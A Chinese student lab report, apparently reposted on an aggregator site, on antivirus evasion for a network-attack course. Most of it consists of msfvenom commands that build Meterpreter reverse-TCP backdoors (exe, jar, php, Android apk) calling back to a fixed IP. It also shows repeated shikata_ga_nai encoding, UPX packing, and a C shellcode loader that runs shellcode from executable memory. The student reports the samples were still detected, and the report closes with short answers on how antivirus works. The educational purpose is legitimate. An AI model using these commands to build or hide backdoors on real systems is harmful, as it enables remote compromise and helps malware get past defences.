2018-2019-2 20162318《网络对抗技术》Exp3 免杀原理与实践
Posted cs162318
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了2018-2019-2 20162318《网络对抗技术》Exp3 免杀原理与实践相关的知识,希望对你有一定的参考价值。
一、实验内容
1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion),加壳工具),使用shellcode编程
2.通过组合应用各种技术实现恶意代码免杀(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
3.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
二、实验步骤
任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧
1. 使用msf编码器,生成exe文件
- step1. 直接上编码十次,命令如下:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\\x00’ LHOST=192.168.99.100 LPORT=2318 -f exe > backdoor_10_zty.exe
- step2.将生成的后门上传至virscan网站,扫描结果如下:
2. 正确使用msf编码器,生成jar文件
- step1. 生成.jar文件
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.99.100 LPORT=2318 x > backdoor_zty_java.jar
- step2.将生成的后门上传至virscan网站,扫描结果如下:
- step3.修改名字,再次上传
3. 正确使用msf编码器,生成php文件
- step1.生成php文件
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.99.100 LPORT=2318 x> backdoor_zty_php.php
- step2.将生成的后门上传至virscan网站,扫描结果如下:
4. 正确使用msf编码器,生成android后门程序
- step1.生成apk安装包
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.99.100 LPORT=2318 x> backdoor_zty_android.apk
- step2.将生成的后门上传至virscan网站,扫描结果如下:
5. 使用veil-evasion生成后门程序及检测
- step1. 安装veil....(安装了三天还在安装中....)
6.半手工注入Shellcode并执行
- step1. 使用下述命令生成一段shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.99.100 LPORT=2318 -f c
- step2.创建一个文件20162318.c
- step3.将unsigned chat buf[]复制进去,将其设置成函数,并执行
- step3. 编译20162318.c文件
i686-w64-mingw32-g++ 20162318.c -o 20162318.exe
- step4.上传检测
7.使用压缩壳
- step1. 使用压缩壳(UPX)
upx 20162318_c.exe -o zty_upx.exe
- step2.上传检测
任务二:通过组合应用各种技术实现恶意代码免杀
- step1.使用msf,生成shellcode(选择x86/shikata_ga_nai编码器迭代3次生成c代码)
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 3 LHOST=192.168.99.100 LPORT=2318 -f c
- step2.创建文件backdoor_20162318.c
unsigned char buf[] =
“\\xbe\\x92\\x8b\\x66....
.....
.....
"\\c3\\2a";
int main()
{
void *exec=VirtualAlloc(o,sizeof buf,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
memcpy(exec,buf,sizeof buf);
((void(*)())exec)();
}
- step3. 编译backdoor_20162318.c文件
i686-w64-mingw32-g++ backdoor_20162318.c -o backdoor_20162318.exe
- step4.使用360查杀....好吧,被查杀了
- step5.使用upx加壳,欧耶!成功了耶!!!结果...开心不到三秒就被查了(捂脸)
任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
免杀方法:任务二中的exe文件+加密壳
实验环境:win10+360安全管家
- 然而刚刚拷到同学电脑上就被查杀了(捂脸)
三、实践基础问题回答
(1)杀软是如何检测出恶意代码的?
- 有一个叫做特征码库的东东,恶意代码一般都会有一些正常程序所没有的代码,杀软通过识别特征码库来检测恶意代码
- 恶意代码一般都会有异与正常软件的举动,杀软可以经过对其行为进行分析
(2)免杀是做什么?
免杀是让恶意代码改变其原有的外表,让杀软无法通过外表来判断,从而达到蒙糊过关的效果
(3)免杀的基本方法有哪些?
实验中用到的方法,例如:msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,半手工shellcode等等
3.开启杀软能绝对防止电脑中恶意代码吗?
不可能是绝对的杀软毕竟也靠搜集数据来进行杀毒,如果你自己悄悄的编写一个纯手工的恶意代码且不大规模使用,我认为杀软是检测不出你所写的恶意代码
四.问题分析与解决
问题1:由于周五的kali崩掉了,于是我在virtual中又重新装了一遍,之前是在VN中装的(改换了虚拟机),导致kali可以上网,但无法和主机ping通
解决:启用两个网卡,第二个网卡使用仅主机网络
以上是关于2018-2019-2 20162318《网络对抗技术》Exp3 免杀原理与实践的主要内容,如果未能解决你的问题,请参考以下文章
2018-2019-2 网络对抗技术 20165324 网络对抗技术 Exp4:恶意代码分析
2018-2019-2 20165209 《网络对抗技术》 Kali安装
2018-2019-2 网络对抗技术 20165212 Exp7 网络欺诈防范
2018-2019-2 20165217《网络对抗技术》Exp7 网络欺诈防范